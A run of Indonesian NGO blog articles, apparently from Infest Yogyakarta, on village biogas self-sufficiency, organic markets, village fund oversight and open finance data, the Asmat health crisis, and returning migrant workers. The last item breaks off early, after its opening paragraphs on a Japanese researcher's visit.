Kategori
Catatan Pengetahuan

Palipu: Desa Mandiri Energi Melalui Pemanfaatan Limbah Ternak

 

Kesadaran masyarakat terhadap limbah ternak yang berserakan dimana-mana akan mempengaruhi kesehatan lingkungan.

Desa Palipu adalah salah satu desa di Kabupaten Tana Toraja. Selama ini Tana Toraja dikenal dengan adat istiadat serta kebudayaan luhurnya, khususnya budaya pesta kematian dimana pesta kematian ini dilengkapi dengan pemotongan-pemotongan hewan-hewan ternak. Kondisi tersebut mendorong kesadaran masyarakat terhadap limbah ternak yang berserakan dimana-mana. Limbah tersebut tentunya akan mempengaruhi kesehatan lingkungan.

Masyarakat Desa Palipu terdiri 252 KK dengan jumlah penduduk 853 orang. Tingkat pendidikan rata-rata tamatan SMP, tempat tinggal mereka berada pada daerah lereng-lereng gunung. Sejumlah kelompok masyarakat turut andil dalam proses pengolahan limbah ternak menjadi energi (biogas). Antara lain seperti kelompok kaum ibu rumah tangga, kelompok PKK, kelompok pemuda dan Kelompok Karang Taruna.

Pekerjaan masyarakat Palipu pada umumnya adalah petani, khususnya petani kopi, disamping bertani juga memelihara ternak di sekitar rumah, ada yang dikandangkan tetapi ada juga yang dilepas bebas sehingga limbah ternak berserakan dimana-mana.

Sebelumnya, kesadaran lingkungan terhadap limbah ternak dan pemanfaatan limbah ternak belum maksimum. Hal ini karena masih terbatasnya pengetahuan yang minim oleh masyarakat. Upaya peningkatan nilai tambah dari limbah ternak dapat ditempuh dengan mengumpulkan dan mengolah limbah ternak menjadi biogas. Caranya adalah dengan membangun instalasi pengolahan limbah atau instalasi biogas dengan metode anaerobik digestion.

Program Mandiri Energi Sejalan RPJMDesa

Desa Mandiri Energi adalah desa yang dapat menyediakan energi bagi desa itu sendiri. Peningkatan energi baru terbarukan, memang diwajibkan oleh pemerintah nasional untuk menanggulangi pemanasan global serta pengurangan penggunaan bahan bakar fosil. Di Provinsi Jawa Tengah misalnya, pengembangan Desa Mandiri Energi sudah cukup populer. Menurut Dinas ESDM Jateng, Desa Mandiri Energi adalah desa yang masyarakatnya memiliki kemampuan memenuhi lebih dari 60% kebutuhan energi dari energi terbarukan yang dihasilkan melalui pendayagunaan potensi sumber daya setempat.

Dengan mandiri energi, kebutuhan energi di desa dapat disediakan sendiri oleh desa tersebut. Seperti Desa Jetak, salah satu Desa di Jateng, telah memiliki 86 reaktor biogas yang digunakan untuk memasak bagi 175 rumah tangga. Selain pengurangan LPG, Desa Jetak juga dapat memenuhi kebutuhan akan bensin dan listrik.

Ada dua tipe desa disebut mandiri energi. Pertama, tipe Desa Mandiri Energi yang berbasis pada sumber energi non pertanian/peternakan seperti: energi surya, air dan angin. Kedua, tipe Desa Mandiri Energi yang berbasis pada sumber energi dari pertanian/peternakan seperti biomassa dan biofuel yang berasal dari hasil pertanian maupun peternakan. Menurut Frederik Palallo dalam sebuah Seminar Nasional Pengabdian Kepada Masyarakat (2017), Desa Palipu merupakan desa dengan tipe desa mandiri berbasis sumber daya ternak atau tanaman.

Desa Palipu awalnya sebagai lokasi pelaksanaan Program IPTEK bagi Desa Mitra (IbDM) tahun 2017 untuk program “Pemberdayaan Masyarakat Melalui Pengolahan Limbah Ternak Menjadi Energi (Biogas) dan Pupuk Organik Menjadikan Desa Palipu Menjadi Desa Mandiri Energi.”

Saat itu awalnya kesadaran masyarakat terhadap limbah ternak yang berserakan dimana-mana. Pemanfaatan ternak baru sebatas pemanfaatan daging ternak, sedangkan pemanfaatan limbahnya belum dimanfaatkan secara maksimal yang nantinya mendapatkan nilai tambah secara ekonomi atau finansial. Oleh karena itu, Desa Palupi mulai memanfaatkan limbah menjadi biogas melalui membangun instalasi pengolahan limbah atau instalasi biogas, dengan metode anaerobik digestion.

Sumber gambar: Prosiding Seminar Nasional Pengabdian Kepada Masyarakat 2017 vol. 2 no. 1 oleh Frederick Palallo

Program pengolahan limbah juga sejalan dengan RPJM (Rencana Program Jangka Menengah) Desa Palipu. Program tersebut tentang Pengolahan Limbah ternak menjadi Biogas dan Pupuk organik yang diprogramkan setiap tahun. Sehingga dapat membangun instalasi biogas sebanyak 5 unit yang bertujuan untuk memanfaatkan limbah ternak menjadi energi biogas dan pupuk organik. Sehingga Desa Palipu menjadi Desa Mandiri Energi dan mandiri Pupuk.

Koperasi Bina Lingkungan, Kelompok PKK dan Kelompok Karang Taruna merupakan kelompok masyarakat yang menjadi mitra dan peduli terhadap lingkungan. Khususnya limbah ternak dan mereka sangat antusias untuk mengelola limbah ternak, agar dapat menghasilkan nilai tambah.

Menurut Frederick, keberadaan mitra akan sangat berpengaruh terhadap keberlangsungan model dan teknologi yang akan diterapkan di masyarakat. Disamping itu mitra juga memandang kemanfaatan teknologi ini akan benar-benar bermanfaat terutama untuk menambah nilai hasil ternak serta meningkatkan kesejahteraan masyarakat secara ekonomi.

Hal lain yang mendukung teknologi ini adalah bahwa melalui mitra dapat menyampaikan manfaat pengelolaan limbah ternak. Melalui mitra, teknologi pengelolaan limbah dapat diterapkan oleh masyarakat secara langsung dan berkelanjutan serta dapat menghasilkan wirausaha baru dibidang biogas dan pupuk organik.

Selama ini, permasalahan yang dihadapi warga Desa Palipu adalah minimnya pengetahuan tentang pengolahan limbah ternak menjadi biogas dan pupuk organik. Selain itu juga minimnya keterampilan tentang teknologi pembangunan instalasi biogas. Serta, minimnya pengetahuan tata kelola pengelolaan limbah ternak menjadi biogas dan pupuk organik. Juga persoalan minimnya pengetahuan dan pengelolaan pemanfaatan pupuk organic untuk tanaman.

Namun kini desa Palipun telah mendirikan pembangunan 8 unit Instalasi Biogas Type Fixed Dome Beton, kapasitas 4 m 3 . Selain itu juga ada 1 unit Instalasi Biogas menghasilkan rata-rata 3 m 3 biogas per unit/hari sehingga total produksi biogas dari 8 unit instalasi/hari sebesar 24 m 3, setara dengan 14,88 liter minyak tanah atau setara dengan LPG sebesar 15,36 kg. Di tahun 2017, Desa Palipu juga telah memiliki instalasi Biogas berjumlah 15 unit . Sehingga Desa Palipu dapat disebut Desa Mandiri Energi tipe Desa Mandiri Energi berbasis dari sumber energi pertanian atau peternakan. Selain Desa Palipu hanya salah satu dari sekian banyaknya desa yang telah berdaya dengan memanfaatkan limbah menjadi energi alternatif.

Sumber referensi: Prosiding

Sumber gambar: Ilustrasi Tempo

Kategori
Catatan Pengetahuan

‘Seribu’ Pasar Desa Organik Demi Masa Depan Pangan Lestari, Mungkin kah?

Karena pasar bukan sekadar tentang ekonomi, namun juga lokalitas, kesehatan dan lingkungan

Dengan beragam dan banyaknya kearifan lokal, Indonesia sangat memungkinkan membangun dan mengembangkan pasar organik bagi masyarakat. Salah satu komunitas yang saat ini masih aktif memperkenalkan gaya hidup sehat melalui produk-produk organik adalah Komunitas Pasar Milas. Komunitas Pasar Milas selama beberapa tahun terakhir telah aktif memperkenalkan gaya hidup sehat kepada masyarakat.

Komunitas Pasar Milas juga mengadakan pasar organik setiap pekan. Pasar organik ini sebagai salah satu media untuk menjual hasil bumi dan makanan hasil dari olahan dan pertanian organik. Pasar tersebut sekaligus menjadi media untuk memperkuat pesan-pesan terkait isu kesehatan, pendidikan, dan lingkungan. Komunitas yang terbentuk melalui Pasar Milas ini menjadi agen terdepan untuk mengkomunikasikan konsep dan upaya mewujudkan masa depan pangan yang lestari.

Dalam rangkaian kegiatan Jagongan Media Rakyat (JMR), Komunitas Pasar Milas juga menggelar diskusi terbuka “Masa Depan Pangan Lestari”, pada Kamis (8/3/18) di Jogja National Museum (JNM) Yogyakarta. Pada diskusi yang difasilitasi oleh Westiani Agustina dari Tim Program Pengelola Pasar Milas, menghadirkan narasumber yang merupakan petani serta produsen langsung produk organik. Mereka adalah Budi Prasetya, seorang Petani sayuran organic “Bapa Biyung”. Lalu, ada T.A. Kuncoro, seorang produsen tahu kedelai organic “Tahu Toelen”. Serta, Cicilia Suryaniwati, seorang Produsen tahu kedelai organic “Tjah Dampit”.

Pasar Organik dan Pemberdayaan Masyarakat

Salah satu pembahasan penting dalam diskusi “Masa Depan Pangan Lestari” adalah tentang lokalitas, produk organik dan upaya pemberdayaan. Menurut Cicilia Suryaniwati, membeli produk organik dari petani yang ada di desa secara tidak langsung turut memberdayakan petani lokal yang ada. Termasuk yang dilakukannya melalui brand tempenya, yaitu “Tjah Dampit”.

“Tempe banyak mengandung vitamin B yang dapat menggantikan daging. Beberapa alasan mengapa mengambil bahan kedelai yang lokal yaitu bahannya sehat dan bermanfaat. Kami juga menggunakan ragi usar yang memiliki manfaat, yaitu bahan tempe yang lebih awet jika tempe sudah lama maka tempe tersebut tidak akan pahit,” papar Cecilia.

Cecilia juga menambahkan, bahwa Indonesia telah mengimpor kedelai dari Amerika 70% sebanyak 2.37 ton setiap tahun, produksinya 800.000 ton, artinya hanya sepertiganya. Tragedi yang kedua 60-63 ekspor kedelai 5000 ton ke India sdan Srilanka. Kemudian tragedi ketiga impor 1970 ke Amerika, 1990 ke Brazil dua yang terbesar.

T.A.Kuncoro juga berbagi pengalaman bahwa selama ini produk tahu miliknya sebagian kedelai mengambil dari Kulon Progo. Kedelai yang dimaksud adalah tanaman organik. Sehigga dapat organik dapat merasakan dampak positifnya.

“Produksi tahu organik sendiri dapat memberikan distribusi dalam memperkenalkan gaya hidup sehat kepada masyarakat. Serta, ikut mendistribusikan sebagai produsen makanan dari olahan dan pertanian organik,” jelas Kuncoro.

Dalam diskusi ini, baik narasumber dan peserta sepakat bahwa penting sekali membangun kesadaran baru dalam memandang pasar. Bahwa, pasar tidak hanya sekedar tentang ekonomi, lokalitas, kesehatan, namun juga soal lingkungan. Pasar komunitas, khususnya yang menjual produk organik telah memiliki kemasukakalan yang ada di masyarakat. Indonesia sebagai negara dengan beragam kearifan lokal, seharusnya mampu membangun dan mengembangkan pasar untuk masyarakat yang mencakup semua kemungkinan tersebut. Di akhir diskusi, semua narasumber, peserta, dan penyelenggara pun sepakat mendorong terwujudkan seribu desa organik bersertifikasi, khususnya yang ada di Yogyakarta. [Alimah]

Foto dan referensi tulisan: JMR2018

Kategori
Catatan Pengetahuan

KPK: Desa Jangan Takut Pengawasan Dana Desa oleh Polri

“KPK juga sedang mengembangkan kapasitas dan pendidikan bagi Polri. Karena terkadang mereka baca data, tapi belum tentu mampu memahami apa yang dibaca dan maksud penggunaannya.”

(Benidictus Siumlala MS, perwakilan dari Direktorat Pendidikan dan Pelayanan Masyarakat KPK)

Masih ingat nota kesepahaman (MoU) yang ditandatangani Polri dan Kementerian Dalam Negeri (Kemendagri), juga Kementerian Desa, Pembangunan Daerah Tertinggal dan Transmigrasi (Kemendesa)? Tepatnya pada 20 Oktober 2017 mengenai pengawasan dana desa.

Dalam nota kesepahaman tersebut, diatur kerja sama terkait pencegahan, pengawasan, dan penanganan permasalahan dana desa. Acara penandatanganan MoU itu dihadiri oleh Kapolri Jenderal Pol Tito Karnavian, Mendagri Tjahjo Kumolo, dan Mendes Eko Putro Sandjojo, beserta jajaran di masing-masing lembaga.

Dalam perkembangannya, pengawasan yang dilakukan Polri di tingkat desa menjadi momok tersendiri. Apalagi ruang gerak Pemdes yang merasa terawasi dalam mengelola keuangan desanya. Termasuk ketika desa tiba-tiba didatangi pihak kepolisian dengan meminta data-data keuangan.

Tema mengenai pengelolaan dana desa juga mengemuka dalam diskusi terbuka bertema “Menembus Keumuman: Inovasi Penguatan Desa dan Partisipasi Masyarakat dalam Pembangunan”. Diskusi ini diselenggarakan oleh Infest Yogyakarta, pada Sabtu (10/3/18) di Jogja Nasional Musium (JNM) dalam rangkaian acara Jagongan Media Rakyat (JMR) 2018.

Diskusi terbuka yang difasilitasi oleh Irsyadul Ibad (Direktur Eksekutif Infest Yogyakarta), ini menghadirkan Komisi Pemberantasan Korupsi (KPK), yang diwakili oleh Benidictus Siumlala MS (Beni) dari Direktorat Pendidikan dan Pelayanan Masyarakat KPK. Selain KPK, hadir juga Simon Edward perwakilan dari Ditjen PKP Kemendesa PDT dan Transmigrasi, juga Irma Nurul Fastikah perwakilan dari Pemkab Wonosobo, Dulrohim sebagai Kades Ngadikerso di Kabupaten Wonosobo, serta Saptoyo, pewakilan dari Staf Ahli Bupati Gunung Kidul.

Terkait pengawasan dana desa yang dilakukan oleh Polri di tingkat desa, KPK menyarankan agar Pemdes tidak perlu khawatir. Alasannya karena sampai saat ini keterbatasan jumlah Babinkamtibmas di desa yang belum sebanding dengan jumlah desa di seluruh Indonesia. Hal yang juga penting adalah minimnya kapasitas Babinkamtibmas dalam mengawal pengelolaan dana desa.

“Pembahasan yang menarik adalah tentang soal ketatnya pengawasan, sekadar info, dari semua desa, hanya ada lima puluh ribuan Babinkamtibmas. Itu kalau dihitung rangkap, tidak sebanding jumlah desa. Jadi sebenarnya polisi masih kurang. Jadi tidak perlu takut. Kita juga menanggapi MoU antara Kapolri dan Kementrian Desa. Kita juga sedang mengembangkan kapasitas dan pendidikan Polri. Karena terkadang mereka baca data, tapi belum tentu mampu memahami apa yang dibaca dan maksud penggunaannya,” jelas Beni di depan seluruh peserta diskusi dan narasumber lainnya.

Beni juga menambahkan, soal transparansi, KPK saat ini sedang mendorong keterlibatan masyarakat dalam pemberantasan korupsi. Peran masyarakat mulai dari pembuatan regulasi sampai pengawasan. Jadi beragam stakeholder dilibatkanm baik dari layanan kesehatan, pendidikan, pemberdayaan masyarakat desa (PMD), maupun komunitas. Hal ini seperti yang sedang diterapkan di Riau. Karena selama ini baik dari Pemdes maupun komunitas, biasanya ada semacam gap dan rasa curiga.

Jadi bagaimana caranya agar pemerintah dan komunitas saling berpikiran negatif, maka perlu melibatkan keduanya untuk mengikis anggapan negatif dari masing-masing pihak dan menurunkan ego mereka. Kegiatan edukasi tentang pengawasan dana desa ini salah satunya dilakukan sosialisasi tentang pengawasan dana desa. Tujuan sosialisasi agar masyarakat mengetahui hak dan kewajibannya, bahwa ada kewajiban pemerintah desa dan juga komunitas.

Open Data Keuangan Permudah Akses Masyarakat

Terkait kecurigaan warga kepada pemerintah desa dalam pengelolaan dana desa, hal ini juga dirasakan oleh Pemdes di Kabupaten Wonosobo. Namun, setelah Kabupaten Wonosobo menerapkan open data keuangan desa, rasa saling curiga mulai terkikis. Karena dengan open data keuangan desa, bukan hanya pemerintah desa dan kabupaten yang mampu mengakses, namun juga masyarakat secara umum.

Open data keuangan desa merupakan salah satu prinsip transparansi dalam pengelolaan keuangan desa. Kabupaten Wonosobo merupakan daerah model yang menerapkan open data keuangan desa yang diinisiasi oleh Infest Yogyakarta. Seluruh Desa di Kabupaten Wonosobo sudah menerapkan open data keuangan desa. Menurut Irma, Pemkab Wonosobo, dengan menerapkan open data keuangan desa, kini Pemdes bisa secara terbuka memperlihatkan data-data pengelolaan keuangan desanya kepada pengawas dana desa, termasuk kepada Polri yang datang meminta data.

“Kami sudah mengembangkan perencanaan apresiatif desa (PAD) dan warga terlibat dalam setiap tahapan pembagunan desa. Ini menjadi tanggungjawab bersama. Oleh sebab itu dibutuhkan sebuah media atua platform yang mendampingi, jangan sampai ada kecurigaan di antara kita. Kami saat ini menggunakan open data keuangan desa yang bisa diakses oleh siapapun. Jadi desa kini saling bersaing untuk menjadi yang terbaik dalam pengelolaan dana desa,” ungkap Irma.

Irma juga menegaskan bahwa, meskipun saat ini penerapan open data telah berjalan, namun proses yang cukup panjang. Penerapan open data yang dinisisiasi oleh Infest Yogyakarta jgua tidak terlepas dari sejumlah tantangan, apalagi Pemdes sebelumnya telah menggunakan Sistem Keuangan Desa (Siskeudes). Sehingga dalam prosesnya juga pernah terjadi penolakan yang dilakukan oleh sejumlah desa. Namun open data melalui aplikasi “mitradesa” bukanlah sebuah perangkat yang tidak bisa diubah. Karena dalam pelaksanaannya, Pemkab Wonosobo dan Infest Yogyakarta sangat mengapresiasi setiap perubahan yang diusulkan sesuai usulan Pemkab dan Pemdes.

“Karena selama ini mereka memang menggunakan aplikasi Siskeudes. Sedangkam kami (Pemkab wonosobo) memiliki komitmen agar laproan semua desa dapat diakses bukan hanya pemerintah kabupaten dan desa, namun warga juga mampu mengaksesnya. Ternyata dengan open data keuangan melalui aplikasi mitradesa, kini warga mampu mengakses laporan keuangan desa,” jelas Irma.

Selain pembelajaran dari Wonosobo, pembelajaran penting lainnya juga bisa diketahui dari pemaparan Saptoyo, Staf Ahli Bupati. Salah satu pembelajaran yang disampaikan Saptoyo adalah penerapan Sistem Informasi Desa (SID) di Kabupaten Gunung Kidul. SID di Gunung Kidul dikembangkan oleh Combine Resource Institute (CRI). SID dalam perkembangannya telah banyak menciptakan perubahan, baik di tingkat Desa maupun Kabupaten. Kini SID juga telah diterapkan di sejumlah daerah baik Jawa maupun luar Jawa.

Menurut Irsyadul Ibad, selaku fasilitator diskusi, pembelajaran di Kabupaten Wonosobo maupun Kabupaten Gunung Kidul merupakan bagian dari beragamnya inovasi mendorong transparansi dan akuntabilitas pemerintah. Inovasi ini dilakukan bersama dengan organisasi atau kelompok masyarakat sipil, misalnya berupa penerapan sistem informasi desa (SID) di Kabupaten Gunung Kidul (DI Yogyakarta) dan open data keuangan desa di Kabupaten Wonosobo (Jawa Tengah). Beberapa desa juga menciptakan inovasi sendiri untuk memperkuat desanya, mulai dari pembangunan Badan Usaha Milik Desa (BUMDesa), penguatan kelompok perempuan dan sebagainya.

Ruang inovasi tersebut berhasil memunculkan praktik baik dan ragam pembelajaran. Hal positif tersebut perlu diapresiasi oleh pemerintah di pelbagai tingkat. Selain itu, pembelajaran tersebut perlu diarusutamakan sehingga bisa mendorong desa lain untuk belajar. Ragam pembelajaran tersebut juga perlu disampaikan kepada pengambil kebijakan di tingkat nasional untuk memberikan wawasan baru dalam pengambilan keputusan yang terkait dengan desa. [Alimah]

Kategori
Catatan Pengetahuan

Tragedi Asmat: Ketika Pembangunan Meninggalkan Aspek Budaya

Pemidahan warga dari hutan ke perdesaan hanya mempertimbangkan persoalan administratif wilayah, tidak mempertimbangkan dasar sosial dan kultural masyarakat

Kondisi kesehatan dan kehidupan secara umum di Kabupaten Asmat, Papua, mengundang analisa dari beragam pakar, mulai dari pakar di bidang kesehatan, kemiskinan dan pembangunan. Sampai saat ini pun, bukti-bukti tim media yang berada langsung di lokasi turut memperkaya data kondisi yang sebenarnya. Termasuk analisa beberapa faktor di antaranya disebabkan karena minimnya layanan kesehatan, tenaga medis, serta hilangnya peran guru di kampung-kampung.

Kabar terbaru, kini pasien meninggal semakin bertambah karena gizi buruk. Berdasarkan informasi yang dirilis Kompas (Kamis, 01/02/18), penyebabnya bukan hanya gizi buruk, namun juga karena radang saluran pernapasan dan malaria. Seperti yang terjadi di kampung Yepem, Distriks Agats.

Di Yepem, Distrik Agats, ternyata warga tidak memiliki fasilitas mandi, cuci, kakus yang memadai. Sebagian besar warga buang air di hutan dan sungai. Kalau pun ada yang memiliki jamban, tidak ada yang memiliki septitank-nya. Tinja langsung jatuh ke tanah. Saat air pasang, tinja masuk ke sungai yang juga menjadi sumber air minum.

Penyebab malaria yang begitu banyak juga tidak terlepas dari kondisi rumah tinggal dan lingkungan sekitar. Pada umumnya, dinding rumah warga juga masih banyak yang berlubang-lubang dan tidak ada kelambu. Nyamuk malaria leluasa menggigit mereka. Sementara itu, saat ini di kampung tersebut sudah hampir setahun tidak ada petugas kesehatan di Yepem. Warga tidak ada yang berobat dan tidak ada yang membimbing pola hidup sehat.

Pemindahan dari Hutan ke Perdesaan

Di luar persoalan yang mengemuka terkait kondisi layanan kesehatan yang buruk, yang penting juga ditelusuri adalah bagaimana proses pembangunan di Papua, khususnya di Asmat. Termasuk pada tahap pemindahan warga yang hidup di hutan ke perdesaan. Pembangunan di Papua yang dilakukan sejak orde baru mengubah pola hidup masyarakat secara keseluruhan. Masyarakat memiliki tingkat keragaman tinggi baik dari segi etnis, mata pencaharian, maupun perkembangan peradaban.

Menurut Antropolog Universitas Indonesia, Sumiarto Aji Purwanto, pemidahan warga dari hutan ke perdesaan hanya mempertimbangkan persoalan administratif wilayah, tidak mempertimbangkan dasar sosial dan kultural masyarakat (Kompas, 01/02/18).

Pada era 1980-an, pemerintah memindahkan tempat hidup masyarakat dari hutan ke perdesaan. Di perdesaan, pemerintah membangun wilayah permukiman dengan batas administrasi berdasarkan luas wilayah dan jumlah penduduk. Padahal, di hutan, pembatasan daerah permukinan didasarkan pada kelompok keluarga dan kesamaan kultur.

Pembangunan dengan semangat modernisasi memperkenalkan sistem pengobatan modern. Masyarakat diminta beralih dari sistem pengobatan tradisional ke rumah sakit dengan layanan dokter dan obat modern. Dampaknya, pengetahuan lokal yang dimanfaatkan selama ribuan tahun dari generasi ke generasi menjadi hilang.

Selain pola permukinan dan sistem layanan kesehatan, masyarakat Papua juga mengalami tantangan perubaha bahan makanan pokok. Selama ini, warga pegunungan mengonsumsi ubi dan warga pesisir mengonsmsi sagu. Lauknya ikan atau binatang buruan.

Dalam perkembangannya, Otonomi khusus (Otsus) juga dinilai belum ada peta jalan yang jelas mengenai pembangunan. Pembangunan yang dilakukan selama puluhan tahun tidak memperhatikan nilai sosial dan budaya masyarakat setempat. Seharusnya pembangunan di Papua tidak meninggalkan aspek-aspek sosial dan budaya yang telah mengakar ribuan tahun. Proses peralihan hidup masyarakat harus dilakukan secara bertahap dan mendapatkan pendampingan intensif.

sumber gambar: anak asmat

Kategori
Catatan Pengetahuan

Rumah Besar, Penghuninya Belum Tentu Sejahtera

“Di desa itu, kita tidak bisa mudah menilai seseorang sudah sejahtera atau belum. Terkadang meskipun rumahnya kelihatan bagus, bisa jadi secara ekonomi tidak mampu. Justru rumah yang besar itu dulunya adalah orang menengah ke bawah. Mereka mampu membuat rumah besar dan megah saat masih menjadi TKI (Tenaga Kerja Indonesia). Tapi itu dulu, kondisi sekarang sudah berbeda. Setelah pulang menjadi TKW mereka bingung mau usaha apa, tabungan habis, lahan tidak punya, dan kerja serabutan.”

Seorang pemuda Desa Pringamba bernama Rusli (28), dengan tegas mengungkapkan pengalamannya selama melakukan pemetaan partisipatif di desanya. Termasuk pendataaan kesejahteraan berdasarkan indikator lokal desa. Pendataan yang dalam setiap tahapannya dilakukan secara partisipatif, termasuk saat persiapan merumuskan indikator utama dan sub-indikator sebuah kepala keluarga (KK) disebut kaya, sedang, miskin, atau sangat miskin. Warga dan Pemdes yang terbiasa menjadi petugas sensus, kini terlibat di semua tahapan pendataan. Kini mereka memiliki data yang mereka hasilkan sendiri, bukan lagi data milik supradesa.

Kondisi mantan TKI yang diceritakan Rusli mengingatkan saya pada mantan TKI di desa-desa lain di Banjarnegara. Di Desa Gentansari misalnya, pada tahun 2015, kelompok perempuan mengungkap bahwa selama pendataan kemiskinan di desanya, TKI tidak pernah masuk dalam kolom profesi. Termasuk kondisi rumah besar dan terlihat megah, namun untuk makan sehari-hari penghuninya sering berhutang kesana-kemari. Kondisi para matan TKI ini memang tidak banyak diketahui selain tetangga ataupun warga sekitarnya. Kondisi mereka juga mengingatkan saya akan desa kelahiran saya serta desa-desa lainnya di Kabupaten Cirebon, Jawa Barat.

Sejarah TKI sendiri menurut Data Badan Nasional Penempatan dan Perlindungan TKI (BNP2TKI) sudah ada di tahun 1890-an. Seingat saya, tahun 1990-an, TKI di Desa saya pada umumnya ditempatkan di negara-negara Timur Tengah. Ekspektasi saya saat itu, para orang tua yang menjadi TKI tahun 1990-an kelak akan mampu menyekolahkan anak-anaknya hingga pendidikan tinggi, serta bekerja dengan pilihan bidang yang cukup beragam.

Sayangnya, tidak semua orang tua yang menjadi TKI di tahun 1990-an bernasib baik, apalagi sampai memiliki usaha sendiri setelah tidak lagi bekerja sebagai TKI. Di desa-desa di Kabupaten Cirebon, anak-anak muda pada umumnya telah memiliki impiannya sendiri setelah lulus SMA. Yaitu menjadi TKI, namun tentu saja pilihan negara tujuan mereka berbeda, keahlian berbeda, dan tentu saja berpengaruh pada pilihan bidang pekerjaannya nanti. Kini pilihannya lebih banyak di Hongkong, Taiwan, Korea, dan Jepang. Ketrampilan mereka pun beragam, tidak sekadar pekerja rumah tangga (PRT). Negara-negara tersebut memiliki kebijakan tentang hak-hak tenaga kerja yang berbeda dengan di Timur Tengah. Saat ini akses informasi juga lebih mudah dibandingkan dulu ketika akses informasi masih sangat dibatasi.

TKI Adalah Aset

Bicara TKI saat ini, siapapun sepakat bahwa mereka kini lebih terdidik, ketrampilan beragam, dan ditempatkan di negara tujuan yang juga beragam. Sayangnya setalah mereka tidak lagi menjadi TKI, tidak banyak dari mereka yang memiliki konsep matang dan strategi mengelola usaha setelah tidak lagi menjadi TKI. Kalaupun pada umumnya mereka tidak sampai berpikir soal usaha, setidaknya dari pemerintah termasuk Pemdes memiliki strategi kolaborasi memberdayakan mereka.

Memang tidak semua TKI dan banyak pula yang sudah berhasil memiliki usaha setelah tidak lagi menjadi TKI. Tapi, yang masih bingung mau ngapaian juga tidak sedikit. Termasuk pemuda di desa saya, pada umumnya riwayat hidup mereka seperti ini: Di usia lulus SMA, mereka berangkat menjadi TKI di Taiwan. Satu kali berangkat, saat pulang ke desa akan menikah. Lalu berangkat lagi, isteri dan rumah besarnya ditinggal. Tidak heran, di desa saya banyak ibu-ibu muda tajir karena suami mereka “korea-an” atau “taiwan-an”, demikian istilah yang umum digunakan. Jadi kalau dulu banyak suami dan anak ditinggal istri menjadi TKI, sekarang lebih banyak istri dan anak ditinggal suami mereka menjadi TKI. Namun, keberadaan para ibu muda ini juga masih belum dinilai sebagai kekuatan. Desa masih belum mampu memberdayakan keberadaan mereka. Hingga di satu masa dimana para TKI tersebut sudah habis masa kontrak atau usia yang tidak memungkinkan, mereka tidak lagi memiliki tabungan dan alternatif usaha, mereka bingung. Mereka merasa sangat berat untuk pulang karena tidak ada jaringan pertemanan atau pilihan kerja atau usaha sendiri.

Sayangnya, di banyak desa, angka TKI yang begitu banyak ini masih belum dinilai sebagai peluang. Termasuk di desa yang berpuluh tahun memiliki warga sebagai TKI, namun belum ada satu pun kebijakan untuk memberdayakan mereka. Atau, setidaknya berkolaborasi membangun dan mengelola sebuah usaha bersama dengan modal bersama TKI. Atau ada juga upaya strategi menabung. Menurut Cederroth (1995) tentang “Survival and Profit in Rural Java: The Case of an East Java Villages” yang pernah dikutip oleh Abdul Hakim (2011) dalam penelitiannya yang juga dilakukan di salah satu Desa di Kabupaten Cirebon tentang “Strategi Kelangsungan Hidup Para Perempuan Buruh Migran”. Pemanfaatan tabungan adalah salah satu alternatif strategi bertahan hidup. Bahwa, ketika TKI kembali ke kampung halaman, maka mereka akan kembali memulai usaha baru atau bekerja di desa.

Status sosial lambat laun meredup seiring menurunnya penghasilan mereka di desa. Perubahan lain yang dihasilkan dari migrasi yakni pergeseran status pekerjaan misalnya dari buruh tani menjadi petani penggarap, pedagang atau usaha mandiri lainnya. Untuk menjaga kelangsungan hidup, mereka melakukan berbagai strategi antara lain: pemanfaatan jaringan sosial, mobilisasi anak perempuan, membatasi jumlah anak, menabung, produksi subsistensi dan penghasilan tambahan, menekan biaya hidup, dan pemanfaatan pinjaman. Semakin kuat tekanan ekonomi, maka semakin banyak jenis strategi yang dilakukan. Pada umumnya, strategi yang mereka lakukan, apapun jenisnya, bermanfaat untuk menjaga kelangsungan hidup mereka setelah tidak lagi menjadi TKW.

Inisiasi dengan beragam strategi menjaga kelangsungan hidup dan masa depan mantan TKI dan keluarganya, seharusnya bukan lagi menjadi urusan individu maupun kelompok tertentu. Namun, pemerintah khususnya Pemdes sudah memiliki inisiasi mengembangkan peluang tersebut, bahwa SDM mantan TKI sebagai sebuah kekuatan (aset) di desanya. Seperti mendirikan dan mengelola usaha bersama keluarga TKI di desa. Namun hal terpenting adalah merangkul mereka, menumbuhkan kepercayaan TKI dan keluarganya, serta bekerjasama dengan beragam stakeholder.

Upaya mengembangkan aset SDM mantan TKI bukan hanya bertujuan jangka pendek, tapi jangka panjang, terutama setelah TKI tidak lagi bekerja di luar negeri. Dengan adanya modal dan pengelolaan bersama antara keluarga TKI dan pengambil kebijakan di tingkat lokal, diharapkan dapat membantu para TKI khususnya perempuan mantan TKW untuk kembali menjalani kehidupan di kampung halaman.

Saat ini, tentu saja sudah banyak program pemerintah yang memberdayakan purna TKI. Pemdes yang sudah sukses memberdayakan mereka juga tidak sedikit. Tapi masih banyak juga Desa-desa yang belum mampu menangkap peluang keberadaan TKI dan purna TKI sebagai aset SDM. Sehingga belum banyak desa-desa yang mampu memberdayakan mereka atau bekerjasama membangun dan mengelola usaha bersama. Dengan angka migrasi tinggi, menginisiasi membangun dan mengelola usaha bersama TKI, maupun memberdayakan mantan TKI, diharapkan dapat mengurangi angka migrasi. Lebih dari itu, mereka yang sudah tidak lagi menjadi TKI memiliki pilihan usaha bersama di desanya, serta memiliki soft skill tertentu untuk melanjutkan masa depannya dan keluarganya.

====

Keterangan Penulis: Alimah Fauzan adalah Gender Specialist Infest Yogyakarta.

Kategori
Catatan Pengetahuan

Peneliti Jepang tentang Inisiatif Perbaikan Pelayanan Publik di Indonesia: “Masyarakat Sipil Lebih Aktif daripada Pemerintahnya”

“Jadi bedanya kalau di Jepang, pemerintahnya yang sangat aktif melakukan perbaikan pelayanan publik. Tapi di Indonesia justru kelompok masyarakat sipil yang lebih banyak aktif mendorong perbaikan layanan publik.”
(Prof. Okamoto Masaaki, Ph.D, Center for Southeast Asian Studies (CSAS), Kyoto Uninveristy, Jepang)

 

Pernyataan tersebut diungkapkan Prof. Okamoto usai pemaparan singkat tentang pembelajaran inisiatif Infest Yogyakarta dalam memperkuat partisipasi, transparansi, dan akuntabilitas pemerintah. Meskipun secara kelembagaan pernah sama-sama mengenal program masing-masing, namun kunjungannnya pada Kamis (5/9/17) adalah untuk kali pertamannya ke kantor Infest Yogyakarta. Sebelumnya, tim Peneliti CSAS telah mengetahui secara langsung pelaksanaan salah satu kegiatan dari program Infest yang dilaksanakan di Kabupaten Tebo, Jambi.

